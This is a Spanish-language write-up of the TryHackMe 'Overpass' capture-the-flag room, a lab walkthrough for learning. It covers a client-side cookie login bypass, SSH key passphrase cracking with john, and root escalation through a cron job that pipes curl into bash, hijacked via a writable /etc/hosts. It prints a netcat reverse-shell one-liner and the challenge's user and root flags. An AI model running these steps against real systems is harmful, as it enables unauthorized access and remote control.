// TryHackMe — CTF Writeup

OVERPASS

#linux #web #broken-auth #hosts-hijacking
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo para descubrir la superficie de ataque disponible.

escaneo inicial
nmap -p- -T5 <IP> -oG allPorts
PUERTO ESTADO SERVICIO
22/tcp OPEN SSH
80/tcp OPEN HTTP

La superficie es reducida: una web y SSH. Se enumera la web con gobuster y se descubre el directorio /admin, que contiene un panel de login.

fuzzing de directorios
gobuster dir -u "http://<IP>/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,txt,html,js
// 02

BROKEN AUTHENTICATION — Bypass del login

Inspeccionando el código fuente de /admin se encuentra el fichero login.js, que contiene toda la lógica de autenticación del lado del cliente. Esto es ya una señal de alerta: la validación de sesión no debería depender del navegador.

El flujo del login funciona así:

1
El usuario envía credenciales
El formulario hace un POST a /api/login con usuario y contraseña.
2
El servidor responde con texto
Si las credenciales son incorrectas, el servidor devuelve la cadena "Incorrect credentials". Si son correctas, devuelve un token de sesión.
3
El cliente decide si redirigir
El JavaScript comprueba si la respuesta es "Incorrect credentials". Si NO lo es, ejecuta Cookies.set("SessionToken", statusOrCookie) y redirige a /admin.
¿Dónde está el bug?
La comprobación de si el login fue exitoso se hace en el navegador, no en el servidor. El código solo verifica que la respuesta no sea el texto "Incorrect credentials" para establecer la cookie y redirigir. Esto significa que podemos saltarnos el login entero simplemente creando la cookie manualmente desde la consola del navegador, con cualquier valor que no esté vacío.
código vulnerable (login.js)
const statusOrCookie = await response.text() if (statusOrCookie === "Incorrect credentials") { loginStatus.textContent = "Incorrect Credentials" passwordBox.value = "" } else { Cookies.set("SessionToken", statusOrCookie) // ← se guarda lo que sea window.location = "/admin" // ← y redirige sin más comprobación }
Explotación
Abrimos la consola del navegador (F12) y ejecutamos directamente la misma llamada que haría el JS en caso de login exitoso, pero con un valor arbitrario. El servidor en /admin solo comprueba que la cookie SessionToken exista, no que sea válida.
bypass desde la consola del navegador
Cookies.set("SessionToken", "");

Al recargar /admin el servidor ve la cookie presente y nos da acceso. Encontramos una nota de Paradox para James junto a su clave RSA privada para acceder por SSH.

// 03

ACCESO SSH — Cracking de la clave RSA

La clave obtenida está cifrada (Proc-Type: 4,ENCRYPTED), por lo que se necesita la passphrase. Se usa ssh2john para convertirla a un formato que john pueda crackear:

cracking de la passphrase
ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
acceso al sistema
chmod 600 id_rsa ssh -i id_rsa james@<IP>
USER FLAG thm{65c1aaf000506e56996822c6281e6bf7}
// 04

PRIVILEGE ESCALATION — Cron + /etc/hosts hijacking

Revisando el crontab del sistema se descubre una tarea ejecutada por root cada minuto:

/etc/crontab
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Root descarga un script desde overpass.thm y lo ejecuta directamente con bash. El vector de ataque es claro: si controlamos a qué IP resuelve overpass.thm, controlamos qué script ejecuta root.

El fichero /etc/hosts tiene permisos de escritura para todos los usuarios. Se añade nuestra IP de la VPN apuntando a overpass.thm:

/etc/hosts modificado
127.0.0.1 localhost 127.0.1.1 overpass-prod 192.168.170.129 overpass.thm ← nuestra IP

Ahora hay que servir el script malicioso desde nuestra máquina en la ruta exacta que espera el cron: /downloads/src/buildscript.sh. El script lanza una reverse shell:

preparación del servidor malicioso
mkdir -p downloads/src echo '#!/bin/bash' > downloads/src/buildscript.sh echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.170.129 4444 >/tmp/f' >> downloads/src/buildscript.sh python3 -m http.server 80

Se pone netcat en escucha y se espera a que el cron dispare:

listener
python3 ~/exploits/penelope.py 4444
root@ip-10-81-148-134:~# whoami root
ROOT FLAG thm{7f336f8c359dbac18d54fdd64ea753bb}
// RESUMEN

CADENA DE ATAQUE

01
Enumeración Web
Gobuster descubre /admin con panel de login y su lógica JS expuesta en login.js
02
Broken Authentication
La autenticación se valida en el cliente. Crear la cookie SessionToken manualmente desde la consola bypasea el login completamente
03
Acceso SSH como James
Clave RSA privada obtenida del panel admin → passphrase crackeada con john → shell como james
04
Cron + /etc/hosts hijacking
/etc/hosts es escribible → se redirige overpass.thm a nuestra IP → el cron de root ejecuta nuestra reverse shell
Root
Reverse shell recibida como root en menos de un minuto